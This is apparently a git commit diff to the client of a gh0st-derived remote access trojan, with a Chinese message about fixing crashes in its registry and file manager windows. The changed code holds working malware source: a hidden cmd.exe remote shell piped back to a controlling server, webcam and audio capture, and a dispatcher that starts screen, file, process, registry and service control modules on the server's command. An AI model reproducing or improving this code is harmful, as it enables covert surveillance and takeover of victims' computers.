修复注册表管理窗口关闭时崩溃的缺陷
1、还原客户端的文件管理模块代码为gh0st的源码3.6版本. 2、修复上述"cmd窗口总是将输入命令输出2次"的遗留问题。 3、打开注册表关闭后崩溃,参照按对文件管理窗口的修改进行处理。遗留问题:并无内存泄漏,但退出时报"HEAP: Free Heap modified after it was freed"问题。
This commit is contained in:
@@ -114,6 +114,7 @@ BOOL CAudio::InitializeWaveIn()
|
||||
//m_hWaveIn ¼<><C2BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
if (mmResult != MMSYSERR_NOERROR)
|
||||
{
|
||||
CloseHandle(h);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
|
||||
@@ -92,6 +92,8 @@ CAudioManager::~CAudioManager()
|
||||
{
|
||||
m_bIsWorking = FALSE; //<2F>趨<EFBFBD><E8B6A8><EFBFBD><EFBFBD>״̬Ϊ<CCAC><CEAA>
|
||||
WaitForSingleObject(m_hWorkThread, INFINITE); //<2F>ȴ<EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD>߳̽<DFB3><CCBD><EFBFBD>
|
||||
if (m_hWorkThread)
|
||||
CloseHandle(m_hWorkThread);
|
||||
|
||||
if (m_AudioObject!=NULL)
|
||||
{
|
||||
|
||||
@@ -14,7 +14,6 @@ CCaptureVideo::CCaptureVideo()
|
||||
{
|
||||
if(FAILED(CoInitialize(NULL)))
|
||||
{
|
||||
|
||||
return;
|
||||
}
|
||||
m_pCapture = NULL;
|
||||
@@ -128,9 +127,7 @@ HRESULT CCaptureVideo::Open(int iDeviceID,int iPress)
|
||||
|
||||
HRESULT CCaptureVideo::InitCaptureGraphBuilder()
|
||||
{
|
||||
HRESULT hResult;
|
||||
|
||||
hResult = CoCreateInstance(CLSID_CaptureGraphBuilder2 , NULL, CLSCTX_INPROC,
|
||||
HRESULT hResult = CoCreateInstance(CLSID_CaptureGraphBuilder2 , NULL, CLSCTX_INPROC,
|
||||
IID_ICaptureGraphBuilder2, (void**)&m_pCapture); //<2F><>ʵ<EFBFBD>豸
|
||||
|
||||
if (FAILED(hResult))
|
||||
@@ -146,7 +143,6 @@ HRESULT CCaptureVideo::InitCaptureGraphBuilder()
|
||||
return hResult;
|
||||
}
|
||||
//<2F><><EFBFBD><EFBFBD><EFBFBD>˰<CBB0><F3B6A8B5><EFBFBD>ʵ<EFBFBD>豸<EFBFBD><E8B1B8><EFBFBD><EFBFBD>
|
||||
|
||||
m_pCapture->SetFiltergraph(m_pGB);
|
||||
hResult = m_pGB->QueryInterface(IID_IMediaControl,(LPVOID*)&m_pMC);
|
||||
if (FAILED(hResult))
|
||||
@@ -154,7 +150,6 @@ HRESULT CCaptureVideo::InitCaptureGraphBuilder()
|
||||
return hResult;
|
||||
}
|
||||
|
||||
//???
|
||||
hResult = m_pGB->QueryInterface(IID_IVideoWindow,(LPVOID*) &m_pVW);
|
||||
if (FAILED(hResult))
|
||||
{
|
||||
@@ -253,7 +248,7 @@ void CCaptureVideo::ResizeVideoWindow()
|
||||
|
||||
void CCaptureVideo::SendEnd() //<2F><><EFBFBD>ͽ<EFBFBD><CDBD><EFBFBD> <20><><EFBFBD>ÿ<EFBFBD><C3BF><EFBFBD><EFBFBD><EFBFBD>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD>
|
||||
{
|
||||
InterlockedExchange((LPLONG)&mCB.bStact,CMD_CAN_COPY); //ԭ<><D4AD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Է<EFBFBD><D4B7><EFBFBD> //ԭ<><D4AD><EFBFBD>Լ<EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>copy
|
||||
InterlockedExchange((LPLONG)&mCB.bStact,CMD_CAN_COPY);
|
||||
}
|
||||
|
||||
LPBYTE CCaptureVideo::GetDIB(DWORD& dwSize)
|
||||
@@ -263,7 +258,7 @@ LPBYTE CCaptureVideo::GetDIB(DWORD& dwSize)
|
||||
{
|
||||
if (mCB.bStact==CMD_CAN_SEND) //<2F><><EFBFBD><EFBFBD><EFBFBD>ı<EFBFBD><C4B1><EFBFBD>һ<EFBFBD>·<EFBFBD><C2B7>͵<EFBFBD>״̬
|
||||
{
|
||||
szBuffer = mCB.GetNextScreen(dwSize); //ͨ<><CDA8><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD>ij<EFBFBD>Ա<EFBFBD><D4B1><EFBFBD><EFBFBD><EFBFBD>õ<EFBFBD><C3B5><EFBFBD>Ƶ<EFBFBD><C6B5><EFBFBD>ݣ<EFBFBD><DDA3><EFBFBD><EFBFBD>Ǽ<EFBFBD><C7BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
szBuffer = mCB.GetNextScreen(dwSize);//ͨ<><CDA8><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD>ij<EFBFBD>Ա<EFBFBD><D4B1><EFBFBD><EFBFBD><EFBFBD>õ<EFBFBD><C3B5><EFBFBD>Ƶ<EFBFBD><C6B5><EFBFBD>ݣ<EFBFBD><DDA3><EFBFBD><EFBFBD>Ǽ<EFBFBD><C7BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
}
|
||||
} while (szBuffer==NULL);
|
||||
|
||||
|
||||
@@ -65,7 +65,7 @@ public:
|
||||
m_ulFullHeight = 0 ;
|
||||
}
|
||||
|
||||
LPBITMAPINFO GetBmpInfor() //
|
||||
LPBITMAPINFO GetBmpInfor()
|
||||
{
|
||||
if (m_BitmapInfor_Full==NULL) //ͷ<><CDB7>Ϣ
|
||||
{
|
||||
@@ -113,7 +113,6 @@ public:
|
||||
|
||||
STDMETHODIMP QueryInterface(REFIID riid, void ** lParam)
|
||||
{
|
||||
//???
|
||||
if( riid == IID_ISampleGrabberCB || riid == IID_IUnknown ){
|
||||
*lParam = (void *) static_cast<ISampleGrabberCB*> ( this );
|
||||
return NOERROR;
|
||||
|
||||
@@ -10,6 +10,7 @@
|
||||
#include "RegisterManager.h"
|
||||
#include "ServicesManager.h"
|
||||
#include "VideoManager.h"
|
||||
#include "KernelManager.h"
|
||||
|
||||
extern char g_szServerIP[MAX_PATH];
|
||||
extern unsigned short g_uPort;
|
||||
@@ -49,13 +50,15 @@ DWORD WINAPI ThreadProc(LPVOID lParam)
|
||||
|
||||
template <class Manager, int n> DWORD WINAPI LoopManager(LPVOID lParam)
|
||||
{
|
||||
IOCPClient *ClientObject = (IOCPClient *)lParam;
|
||||
ThreadInfo *pInfo = (ThreadInfo *)lParam;
|
||||
IOCPClient *ClientObject = pInfo->p;
|
||||
if (ClientObject->ConnectServer(g_szServerIP,g_uPort))
|
||||
{
|
||||
Manager m(ClientObject, n);
|
||||
ClientObject->RunEventLoop();
|
||||
ClientObject->RunEventLoop(pInfo->run);
|
||||
}
|
||||
delete ClientObject;
|
||||
pInfo->p = NULL;
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@@ -1,44 +1,60 @@
|
||||
// FileManager.h: interface for the CFileManager class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
#include "IOCPClient.h"
|
||||
#include "common.h"
|
||||
typedef IOCPClient CClientSocket;
|
||||
|
||||
#if !defined(AFX_FILEMANAGER_H__FA7A4DE1_0123_47FD_84CE_85F4B24149CE__INCLUDED_)
|
||||
#define AFX_FILEMANAGER_H__FA7A4DE1_0123_47FD_84CE_85F4B24149CE__INCLUDED_
|
||||
#if !defined(AFX_FILEMANAGER_H__359D0039_E61F_46D6_86D6_A405E998FB47__INCLUDED_)
|
||||
#define AFX_FILEMANAGER_H__359D0039_E61F_46D6_86D6_A405E998FB47__INCLUDED_
|
||||
#include <winsock2.h>
|
||||
#include <list>
|
||||
#include <string>
|
||||
|
||||
#include "Manager.h"
|
||||
using namespace std;
|
||||
|
||||
#if _MSC_VER > 1000
|
||||
#pragma once
|
||||
#endif // _MSC_VER > 1000
|
||||
|
||||
#include "Manager.h"
|
||||
#include "IOCPClient.h"
|
||||
|
||||
|
||||
typedef struct
|
||||
{
|
||||
DWORD dwSizeHigh;
|
||||
DWORD dwSizeLow;
|
||||
}FILE_SIZE;
|
||||
UINT nFileSize; // <20>ļ<EFBFBD><C4BC><EFBFBD>С
|
||||
UINT nSendSize; // <20>ѷ<EFBFBD><D1B7>ʹ<EFBFBD>С
|
||||
}SENDFILEPROGRESS, *PSENDFILEPROGRESS;
|
||||
|
||||
class CFileManager : public CManager
|
||||
|
||||
class CFileManager : public CManager
|
||||
{
|
||||
public:
|
||||
CFileManager(IOCPClient* ClientObject, int n);
|
||||
void OnReceive(LPBYTE lpBuffer, UINT nSize);
|
||||
UINT SendDriveList();
|
||||
CFileManager(CClientSocket *pClient, int h = 0);
|
||||
virtual ~CFileManager();
|
||||
private:
|
||||
list <string> m_UploadList;
|
||||
UINT m_nTransferMode;
|
||||
char m_strCurrentProcessFileName[MAX_PATH]; // <20><>ǰ<EFBFBD><C7B0><EFBFBD>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>
|
||||
__int64 m_nCurrentProcessFileLength; // <20><>ǰ<EFBFBD><C7B0><EFBFBD>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC>ij<EFBFBD><C4B3><EFBFBD>
|
||||
bool MakeSureDirectoryPathExists(LPCTSTR pszDirPath);
|
||||
bool UploadToRemote(LPBYTE lpBuffer);
|
||||
bool FixedUploadList(LPCTSTR lpszDirectory);
|
||||
void StopTransfer();
|
||||
UINT SendFilesList(LPCTSTR lpszDirectory);
|
||||
bool DeleteDirectory(LPCTSTR lpszDirectory);
|
||||
UINT SendFileSize(LPCTSTR lpszFileName);
|
||||
UINT SendFileData(LPBYTE lpBuffer);
|
||||
void CreateFolder(LPBYTE lpBuffer);
|
||||
void Rename(LPBYTE lpBuffer);
|
||||
int SendToken(BYTE bToken);
|
||||
|
||||
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
|
||||
ULONG CFileManager::SendDiskDriverList() ;
|
||||
ULONG CFileManager::SendFilesList(char* szDirectoryPath);
|
||||
VOID CFileManager::CreateClientRecvFile(LPBYTE szBuffer);
|
||||
|
||||
BOOL CFileManager::MakeSureDirectoryPathExists(char* szDirectoryFullPath);
|
||||
char m_szOperatingFileName[MAX_PATH];
|
||||
__int64 m_OperatingFileLength;
|
||||
VOID CFileManager::GetFileData() ;
|
||||
VOID CFileManager::WriteClientRecvFile(LPBYTE szBuffer, ULONG ulLength);
|
||||
|
||||
ULONG m_ulTransferMode;
|
||||
VOID CFileManager::SetTransferMode(LPBYTE szBuffer);
|
||||
VOID CFileManager::Rename(char* szExistingFileFullPath,char* szNewFileFullPath);
|
||||
void CreateLocalRecvFile(LPBYTE lpBuffer);
|
||||
void SetTransferMode(LPBYTE lpBuffer);
|
||||
void GetFileData();
|
||||
void WriteLocalRecvFile(LPBYTE lpBuffer, UINT nSize);
|
||||
void UploadNext();
|
||||
bool OpenFile(LPCTSTR lpFile, INT nShowCmd);
|
||||
};
|
||||
|
||||
#endif // !defined(AFX_FILEMANAGER_H__FA7A4DE1_0123_47FD_84CE_85F4B24149CE__INCLUDED_)
|
||||
#endif // !defined(AFX_FILEMANAGER_H__359D0039_E61F_46D6_86D6_A405E998FB47__INCLUDED_)
|
||||
|
||||
@@ -338,9 +338,10 @@ VOID IOCPClient::Disconnect()
|
||||
}
|
||||
|
||||
|
||||
VOID IOCPClient::RunEventLoop()
|
||||
VOID IOCPClient::RunEventLoop(const BOOL &bCondition)
|
||||
{
|
||||
OutputDebugStringA("======> RunEventLoop begin\n");
|
||||
while (m_bIsRunning) Sleep(200);
|
||||
while (m_bIsRunning && bCondition)
|
||||
Sleep(200);
|
||||
OutputDebugStringA("======> RunEventLoop end\n");
|
||||
}
|
||||
|
||||
@@ -54,7 +54,7 @@ public:
|
||||
VOID setManagerCallBack(class CManager* Manager);
|
||||
|
||||
VOID Disconnect();
|
||||
VOID RunEventLoop();
|
||||
VOID RunEventLoop(const BOOL &bCondition);
|
||||
bool IsConnected() const { return m_bConnected; }
|
||||
|
||||
public:
|
||||
|
||||
@@ -11,12 +11,12 @@
|
||||
|
||||
CKernelManager::CKernelManager(IOCPClient* ClientObject):CManager(ClientObject)
|
||||
{
|
||||
memset(m_hThread, NULL, sizeof(ThreadInfo) * 0x1000);
|
||||
m_ulThreadCount = 0;
|
||||
}
|
||||
|
||||
CKernelManager::~CKernelManager()
|
||||
{
|
||||
printf("~CKernelManager \n");
|
||||
int i = 0;
|
||||
for (i=0;i<0x1000;i++)
|
||||
{
|
||||
@@ -24,6 +24,9 @@ CKernelManager::~CKernelManager()
|
||||
{
|
||||
CloseHandle(m_hThread[i].h);
|
||||
m_hThread[i].h = NULL;
|
||||
m_hThread[i].run = FALSE;
|
||||
while (m_hThread[i].p)
|
||||
Sleep(50);
|
||||
}
|
||||
}
|
||||
m_ulThreadCount = 0;
|
||||
@@ -40,7 +43,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
{
|
||||
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0,
|
||||
(LPTHREAD_START_ROUTINE)LoopTalkManager,
|
||||
pNew, 0, NULL);;
|
||||
&m_hThread[m_ulThreadCount], 0, NULL);;
|
||||
break;
|
||||
}
|
||||
|
||||
@@ -48,7 +51,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
{
|
||||
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0,
|
||||
(LPTHREAD_START_ROUTINE)LoopShellManager,
|
||||
pNew, 0, NULL);;
|
||||
&m_hThread[m_ulThreadCount], 0, NULL);;
|
||||
break;
|
||||
}
|
||||
|
||||
@@ -56,7 +59,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
{
|
||||
m_hThread[m_ulThreadCount++].h = CreateThread(NULL, 0,
|
||||
(LPTHREAD_START_ROUTINE)LoopProcessManager,
|
||||
pNew, 0, NULL);;
|
||||
&m_hThread[m_ulThreadCount], 0, NULL);;
|
||||
break;
|
||||
}
|
||||
|
||||
@@ -64,14 +67,18 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
{
|
||||
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0,
|
||||
(LPTHREAD_START_ROUTINE)LoopWindowManager,
|
||||
pNew, 0, NULL);;
|
||||
&m_hThread[m_ulThreadCount], 0, NULL);;
|
||||
break;
|
||||
}
|
||||
|
||||
case COMMAND_BYE:
|
||||
{
|
||||
BYTE bToken = COMMAND_BYE; //<2F><><EFBFBD><EFBFBD>ͷ<EFBFBD>ļ<EFBFBD> Common.h
|
||||
m_ClientObject->OnServerSending((char*)&bToken, 1);
|
||||
m_ClientObject->OnServerSending((char*)&bToken, 1);
|
||||
OutputDebugStringA("======> Bye bye \n");
|
||||
m_hThread[m_ulThreadCount].p = NULL;
|
||||
delete pNew;
|
||||
pNew = NULL;
|
||||
break;
|
||||
}
|
||||
|
||||
@@ -79,7 +86,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
{
|
||||
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0,
|
||||
(LPTHREAD_START_ROUTINE)LoopScreenManager,
|
||||
pNew, 0, NULL);;
|
||||
&m_hThread[m_ulThreadCount], 0, NULL);;
|
||||
break;
|
||||
}
|
||||
|
||||
@@ -87,7 +94,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
{
|
||||
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0,
|
||||
(LPTHREAD_START_ROUTINE)LoopFileManager,
|
||||
pNew, 0, NULL);;
|
||||
&m_hThread[m_ulThreadCount], 0, NULL);;
|
||||
break;
|
||||
}
|
||||
|
||||
@@ -95,7 +102,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
{
|
||||
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0,
|
||||
(LPTHREAD_START_ROUTINE)LoopVideoManager,
|
||||
pNew, 0, NULL);;
|
||||
&m_hThread[m_ulThreadCount], 0, NULL);;
|
||||
break;
|
||||
}
|
||||
|
||||
@@ -103,7 +110,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
{
|
||||
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0,
|
||||
(LPTHREAD_START_ROUTINE)LoopAudioManager,
|
||||
pNew, 0, NULL);;
|
||||
&m_hThread[m_ulThreadCount], 0, NULL);;
|
||||
break;
|
||||
}
|
||||
|
||||
@@ -111,7 +118,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
{
|
||||
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0,
|
||||
(LPTHREAD_START_ROUTINE)LoopRegisterManager,
|
||||
pNew, 0, NULL);;
|
||||
&m_hThread[m_ulThreadCount], 0, NULL);;
|
||||
break;
|
||||
}
|
||||
|
||||
@@ -119,7 +126,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
{
|
||||
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0,
|
||||
(LPTHREAD_START_ROUTINE)LoopServicesManager,
|
||||
pNew, 0, NULL);
|
||||
&m_hThread[m_ulThreadCount], 0, NULL);
|
||||
break;
|
||||
}
|
||||
|
||||
|
||||
@@ -15,9 +15,10 @@
|
||||
// <20>߳<EFBFBD><DFB3><EFBFBD>Ϣ<EFBFBD>ṹ<EFBFBD><E1B9B9>
|
||||
struct ThreadInfo
|
||||
{
|
||||
BOOL run;
|
||||
HANDLE h;
|
||||
IOCPClient *p;
|
||||
ThreadInfo() : h(NULL), p(NULL){ }
|
||||
ThreadInfo() : run(TRUE), h(NULL), p(NULL){ }
|
||||
};
|
||||
|
||||
class CKernelManager : public CManager
|
||||
|
||||
@@ -26,6 +26,17 @@ CManager::~CManager()
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
int CManager::Send(LPBYTE lpData, UINT nSize)
|
||||
{
|
||||
int nRet = 0;
|
||||
try
|
||||
{
|
||||
nRet = m_ClientObject->OnServerSending((char*)lpData, nSize);
|
||||
}catch(...){};
|
||||
return nRet;
|
||||
}
|
||||
|
||||
VOID CManager::WaitForDialogOpen()
|
||||
{
|
||||
WaitForSingleObject(m_hEventDlgOpen, INFINITE);
|
||||
|
||||
@@ -29,8 +29,6 @@ STYLE DS_SETFONT | DS_MODALFRAME | WS_POPUP | WS_CAPTION | WS_SYSMENU
|
||||
CAPTION "<22><>Ϣ<EFBFBD><CFA2>ʾ"
|
||||
FONT 10, "System", 0, 0, 0x0
|
||||
BEGIN
|
||||
DEFPUSHBUTTON "OK",IDOK,27,87,50,14
|
||||
PUSHBUTTON "Cancel",IDCANCEL,104,87,50,14
|
||||
EDITTEXT IDC_EDIT_MESSAGE,0,0,180,82,ES_MULTILINE | ES_AUTOVSCROLL | ES_READONLY | NOT WS_BORDER
|
||||
END
|
||||
|
||||
|
||||
@@ -16,14 +16,15 @@ BOOL bStarting = TRUE;
|
||||
|
||||
CShellManager::CShellManager(IOCPClient* ClientObject, int n):CManager(ClientObject)
|
||||
{
|
||||
m_nCmdLength = 0;
|
||||
bStarting = TRUE;
|
||||
m_hThreadRead = NULL;
|
||||
m_hShellProcessHandle = NULL; //<2F><><EFBFBD><EFBFBD>Cmd<6D><64><EFBFBD>̵Ľ<CCB5><C4BD>̾<EFBFBD><CCBE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߳̾<DFB3><CCBE><EFBFBD>
|
||||
m_hShellThreadHandle = NULL;
|
||||
SECURITY_ATTRIBUTES sa = {0};
|
||||
SECURITY_ATTRIBUTES sa = {0};
|
||||
sa.nLength = sizeof(sa);
|
||||
sa.lpSecurityDescriptor = NULL;
|
||||
sa.bInheritHandle = TRUE; //<2F><>Ҫ
|
||||
sa.lpSecurityDescriptor = NULL;
|
||||
sa.bInheritHandle = TRUE; //<2F><>Ҫ
|
||||
m_hReadPipeHandle = NULL; //client
|
||||
m_hWritePipeHandle = NULL; //client
|
||||
m_hReadPipeShell = NULL; //cmd
|
||||
@@ -40,9 +41,9 @@ CShellManager::CShellManager(IOCPClient* ClientObject, int n):CManager(ClientObj
|
||||
CloseHandle(m_hWritePipeShell);
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
if(!CreatePipe(&m_hReadPipeShell, &m_hWritePipeHandle, &sa, 0))
|
||||
}
|
||||
|
||||
if(!CreatePipe(&m_hReadPipeShell, &m_hWritePipeHandle, &sa, 0))
|
||||
{
|
||||
if(m_hWritePipeHandle != NULL)
|
||||
{
|
||||
@@ -53,10 +54,10 @@ CShellManager::CShellManager(IOCPClient* ClientObject, int n):CManager(ClientObj
|
||||
CloseHandle(m_hReadPipeShell);
|
||||
}
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
//<2F><><EFBFBD><EFBFBD>Cmd FullPath
|
||||
char strShellPath[MAX_PATH] = {0};
|
||||
char strShellPath[MAX_PATH] = {0};
|
||||
GetSystemDirectory(strShellPath, MAX_PATH); //C:\windows\system32
|
||||
//C:\windows\system32\cmd.exe
|
||||
strcat(strShellPath,"\\cmd.exe");
|
||||
@@ -68,19 +69,19 @@ CShellManager::CShellManager(IOCPClient* ClientObject, int n):CManager(ClientObj
|
||||
PROCESS_INFORMATION pi = {0}; //CreateProcess
|
||||
|
||||
memset((void *)&si, 0, sizeof(si));
|
||||
memset((void *)&pi, 0, sizeof(pi));
|
||||
memset((void *)&pi, 0, sizeof(pi));
|
||||
|
||||
si.cb = sizeof(STARTUPINFO); //<2F><>Ҫ
|
||||
|
||||
si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
|
||||
si.hStdInput = m_hReadPipeShell; //<2F><><EFBFBD>ܵ<EFBFBD><DCB5><EFBFBD>ֵ
|
||||
si.hStdOutput = si.hStdError = m_hWritePipeShell;
|
||||
|
||||
si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
|
||||
si.hStdInput = m_hReadPipeShell; //<2F><><EFBFBD>ܵ<EFBFBD><DCB5><EFBFBD>ֵ
|
||||
si.hStdOutput = si.hStdError = m_hWritePipeShell;
|
||||
|
||||
si.wShowWindow = SW_HIDE;
|
||||
|
||||
//<2F><><EFBFBD><EFBFBD>Cmd<6D><64><EFBFBD><EFBFBD>
|
||||
//3 <20>̳<EFBFBD>
|
||||
|
||||
|
||||
if (!CreateProcess(strShellPath, NULL, NULL, NULL, TRUE,
|
||||
NORMAL_PRIORITY_CLASS, NULL, NULL, &si, &pi))
|
||||
{
|
||||
@@ -89,7 +90,7 @@ CShellManager::CShellManager(IOCPClient* ClientObject, int n):CManager(ClientObj
|
||||
CloseHandle(m_hReadPipeShell);
|
||||
CloseHandle(m_hWritePipeShell);
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
m_hShellProcessHandle = pi.hProcess; //<2F><><EFBFBD><EFBFBD>Cmd<6D><64><EFBFBD>̵Ľ<CCB5><C4BD>̾<EFBFBD><CCBE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߳̾<DFB3><CCBE><EFBFBD>
|
||||
m_hShellThreadHandle = pi.hThread;
|
||||
@@ -124,9 +125,14 @@ DWORD WINAPI CShellManager::ReadPipeThread(LPVOID lParam)
|
||||
//<2F><>ȡ<EFBFBD>ܵ<EFBFBD><DCB5><EFBFBD><EFBFBD><EFBFBD>
|
||||
ReadFile(This->m_hReadPipeHandle,
|
||||
szTotalBuffer, dwTotal, &dwReturn, NULL);
|
||||
|
||||
This->m_ClientObject->OnServerSending((char*)szTotalBuffer, dwReturn);
|
||||
|
||||
#ifdef _DEBUG
|
||||
printf("===> Input length= %d \n", This->m_nCmdLength);
|
||||
#endif
|
||||
const char *pStart = (char*)szTotalBuffer + This->m_nCmdLength;
|
||||
int length = int(dwReturn) - This->m_nCmdLength;
|
||||
if (length > 0)
|
||||
This->m_ClientObject->OnServerSending(pStart, length);
|
||||
|
||||
LocalFree(szTotalBuffer);
|
||||
}
|
||||
}
|
||||
@@ -140,31 +146,27 @@ VOID CShellManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
{
|
||||
case COMMAND_NEXT:
|
||||
{
|
||||
NotifyDialogIsOpen();
|
||||
NotifyDialogIsOpen();
|
||||
break;
|
||||
}
|
||||
}
|
||||
default:
|
||||
{
|
||||
{
|
||||
m_nCmdLength = (ulLength - 2);// <20><><EFBFBD><EFBFBD>"\r\n"
|
||||
unsigned long dwReturn = 0;
|
||||
if(WriteFile(m_hWritePipeHandle, szBuffer, ulLength, &dwReturn,NULL))
|
||||
{
|
||||
}
|
||||
|
||||
WriteFile(m_hWritePipeHandle, szBuffer, ulLength, &dwReturn,NULL);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
CShellManager::~CShellManager()
|
||||
{
|
||||
bStarting = FALSE;
|
||||
|
||||
|
||||
TerminateProcess(m_hShellProcessHandle, 0); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Լ<EFBFBD><D4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Cmd<6D><64><EFBFBD><EFBFBD>
|
||||
TerminateThread(m_hShellThreadHandle, 0); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Լ<EFBFBD><D4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Cmd<6D>߳<EFBFBD>
|
||||
Sleep(100);
|
||||
|
||||
|
||||
if (m_hReadPipeHandle != NULL)
|
||||
{
|
||||
DisconnectNamedPipe(m_hReadPipeHandle);
|
||||
@@ -174,8 +176,8 @@ CShellManager::~CShellManager()
|
||||
if (m_hWritePipeHandle != NULL)
|
||||
{
|
||||
DisconnectNamedPipe(m_hWritePipeHandle);
|
||||
CloseHandle(m_hWritePipeHandle);
|
||||
m_hWritePipeHandle = NULL;
|
||||
CloseHandle(m_hWritePipeHandle);
|
||||
m_hWritePipeHandle = NULL;
|
||||
}
|
||||
if (m_hReadPipeShell != NULL)
|
||||
{
|
||||
@@ -186,7 +188,12 @@ CShellManager::~CShellManager()
|
||||
if (m_hWritePipeShell != NULL)
|
||||
{
|
||||
DisconnectNamedPipe(m_hWritePipeShell);
|
||||
CloseHandle(m_hWritePipeShell);
|
||||
m_hWritePipeShell = NULL;
|
||||
CloseHandle(m_hWritePipeShell);
|
||||
m_hWritePipeShell = NULL;
|
||||
}
|
||||
if (m_hThreadRead)
|
||||
{
|
||||
CloseHandle(m_hThreadRead);
|
||||
m_hThreadRead = NULL;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -28,7 +28,7 @@ public:
|
||||
static DWORD WINAPI CShellManager::ReadPipeThread(LPVOID lParam);
|
||||
|
||||
HANDLE m_hThreadRead;
|
||||
|
||||
int m_nCmdLength; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EEB3A4>
|
||||
HANDLE m_hShellProcessHandle; //<2F><><EFBFBD><EFBFBD>Cmd<6D><64><EFBFBD>̵Ľ<CCB5><C4BD>̾<EFBFBD><CCBE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߳̾<DFB3><CCBE><EFBFBD>
|
||||
HANDLE m_hShellThreadHandle;
|
||||
};
|
||||
|
||||
@@ -15,8 +15,8 @@ using namespace std;
|
||||
#define ID_TIMER_DELAY_DISPLAY 2
|
||||
#define ID_TIMER_CLOSE_WINDOW 3
|
||||
|
||||
#define WIN_WIDTH 120
|
||||
#define WIN_HEIGHT 120
|
||||
#define WIN_WIDTH 250
|
||||
#define WIN_HEIGHT 250
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
@@ -2,7 +2,7 @@
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
|
||||
<LocalDebuggerCommandArguments>192.168.104.248 2356</LocalDebuggerCommandArguments>
|
||||
<LocalDebuggerCommandArguments>192.168.104.250 2356</LocalDebuggerCommandArguments>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
|
||||
|
||||
Reference in New Issue
Block a user